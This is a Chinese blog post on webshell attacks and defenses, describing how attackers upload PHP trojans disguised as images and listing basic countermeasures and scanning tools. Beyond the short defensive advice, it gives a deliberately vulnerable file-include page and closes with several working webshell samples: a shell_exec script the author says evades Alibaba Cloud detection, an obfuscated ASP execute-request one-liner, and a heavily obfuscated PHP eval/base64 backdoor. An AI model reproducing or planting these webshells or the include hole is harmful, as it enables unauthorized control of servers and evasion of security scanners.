webShell攻击及防御

2023-02-12,,

最近公司项目也是经常被同行攻击,经过排查,基本定位都是挂马脚本导致,所以针对webShell攻击做一下记录。

首先简单说下 什么是webShell?

  利用文件上传,上传了非法可以执行代码到服务器,然后利用程序(中国蚁剑、哥斯拉、冰蝎)进行连接并执行服务器的操作。

下面是蚁剑的成功连接界面,可以对整个服务器下的项目进行授权操作。

哥斯拉成功连接界面

攻击思路:

  1.通过第三方检测工具对网站进行扫描上传的接口( AppScan工具,或者其它开源产品Github上或码云有 )

  2.测试上传非图片文件,如果前端限制了,把php脚本改成jpg格式 可以配合抓包工具(burpsuite)进行提交后修改文件后缀,大部分网站上传接口可以给上传。如果上传不了最后给强制返回了图片格式后缀,也不用慌,还可以尝试上传一句话木马保存到图片里面。再通过访问日志,或者错误日志写入引用图片木马。

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];// http://www.a.com/b.png
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

反攻击思路:

  1.前端获取图片的base64格式 ,后端直接强制上传文件的后缀为 png jpg

  2.PHP 禁用eval() {evel是禁用不了的,属于系统C的语言,但是百度有办法禁用}  shell_exec() system() assert() 等危险可执行函数

  3.上传接口,设置好访问权限,这样可以少了很多麻烦。

其实这个webShell病毒,我测试发现很多可以免杀。就是杀毒无法识别,一般都是进行了伪装,代码变形,代码加密等等方式。不过随着杀毒防御的不断增加病毒的形态,绝大对数还是可以被检测出来。所以推荐下几个比较好用的防御杀毒工具:

  1.阿里云检测代码,我一般用这个测试写的代码是否可以被识别,这个识别度非常高  https://ti.aliyun.com/#/webshell

  2.宝塔杀毒软件很多,我用过微步木马检测,还挺好用,识别度很高

  3.APP 河马查杀 、D盾  这2个我下载扫过全站的代码,识别度相对前面的没有那么高。

最后发几段代码供参考下:

<?php
// 这个是可以过阿里云的 免杀脚本,如果使用的是宝塔服务器

ini_set("xdebug.var_display_max_children", '-1');
ini_set("xdebug.var_display_max_data", '-1');
ini_set("xdebug.var_display_max_depth", '-1');
function running_process(){
$cmd = "bt default | head -n 8 | tail -n 4";
#$ret1 = system($cmd);
$ret1 = shell_exec($cmd);
#$ret2 = exec($cmd);
var_dump($ret1);
echo "\n";
print_r($ret1);
echo "\n";
echo shell_exec($cmd);
}
running_process();
?>
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}

.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}

.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

eval($O00O0O("JE8wTzAwMD0ia0hlTGJxUE9VVE5qcGFoSlNBZ2RJY3RYRVZuQ3dseVdCWVJLclpNRGltZnZ1Rkdzb3hRemJvV1lNVGdhRWx4VnJaa0tuenVKZmhwSERJZENxdEJQamlSWFVOR3ZReUZBZVNtY09Mc3dndjlxWm96WHNveHRoM3hyTTI1RmgzUmtoZHNPWGxjWHNveHRKUzkwWlAxdEgyTHJNUHQwWHZ6cmFxcnpOSEtCTTNLRmh5SXFNM0swWlA1ZFh2enJhcXJ5SlA1VkptdEFNUWp0TXl4QU5tRU9LRHNjS0RjcldxT3VmQ3p1Tnk5QlhDUnJnbHo3S21iOGgzUkJNbUllWENSRFhsY2JabmNVWG5qN0NRenVmQ3p1ZkN6dUttR3VnbnpibjFjYlpuY0xLVkQxSGxjWGZDenVmQ3p1ZkN6YlJTY2JaSTB1Z256YlJTY2JaSTFXS21HN0NRenVmQ2o5Q1F6dWZDakJOSFIxaHk0dUtEczdDZDBYS29qa2gzRzlLM2praDN4M00zS2JLd2NYS29qa1dQTEFpUFJhaVAxdGduSnFpSHRjTTJTYkt3Y1hLbXB0V2wwZHhQaTBObXhWRzJmMWlQRDN4VklieFFoN0N5dHlmQ2tyaDN4dEpDdWJIMWpnRTFSTUtvamtoM3hKWG50N0NRenVmQ3piTm1TMGlsMXRNeXhBTm1FT2l5U3dObGkwSDJSdGkyOWJObnViSDFqZ0UxUk1Lb2praDN4SlhucWJaMkk1WGxjWGZDenVmbXR5ZkNrcmgzeHRKQ3ViSDF4U0UxeEtsMDVNS29qa1dQTEFpUFJhaVAxdEhuYnJXcU91ZkN6dWZDenVmQ1JxaUh0Y00yU2JnUEllaTI5Yk5udWJIMXhTRTF4S2wwNU1Lb2prV1BMQWlQUmFpUDF0SG5xYloySTVYbGNYZkN6dWZDenVmQ2pyTlF6T2gzUkJobTl3WENScWlIdGNNMlNiWUNLZE5IUkNpSHhyaTN4S015TkFmUWI5Z2wxeWlQTHdObnQ3Q1F6dWZDenVmQ3p1ZkN6dWZDUnFpSHRjTTJTYmdQSWVpMjliTm51YmhtUzVNbTlrTkNxYloySTVYbGNYZkN6dWZDenVmQ2o5Q3ViS05ITmtNQ3ViaG1TNU1tOWtOQ2I3Q1F6dWZDenVmQ3p1TlB4T01CandKUEt3Sm9mT01QczFYQ1JxaUh4d1lRUlVOSGJyWXZ6Y0dsaXJhcU91ZkN6dWZDenVmbUlWWm04dWl5U3dObGkwSDJJZWkyOWJObmt0TXl4QU5tRU9zb0sxTVF1Yk5tUzBpbmJjS21wdFduYnJhcU91ZkN6dWZDenVmbUlWWm04dWgzSVFoM1JCWG0xYnhudWJobVN3aEI0YloySTVYbnFMeFFiN0NRenVmQ2o5TlBMd05IY1hmQ3p1ZkN6dWZDanJOUXpPaDNSQmhtOXdYQ1JiaUhSa1lDS2ROSFJDaUh4cmkzeEtNeU5BZlFia2dsMXlpUEx3Tm50N0NRenVmQ3p1ZkN6dWZDenVmQ1JGRTBJbEUwdGdsdGNiaG1TNU1tOWtORDVrTVBJSmdQSWVpMjliTm51Yk5tUzBpbnFiWjJJNVhsY1hmQ3p1ZkN6dWZDajlDUXp1ZkNqOUNkMD0iOyAgCiAgICAgICAgZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwgICAgCiAgICAgICAgJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));?>

webShell攻击及防御的相关教程结束。

《webShell攻击及防御.doc》

下载本文的Word格式文档,以方便收藏与打印。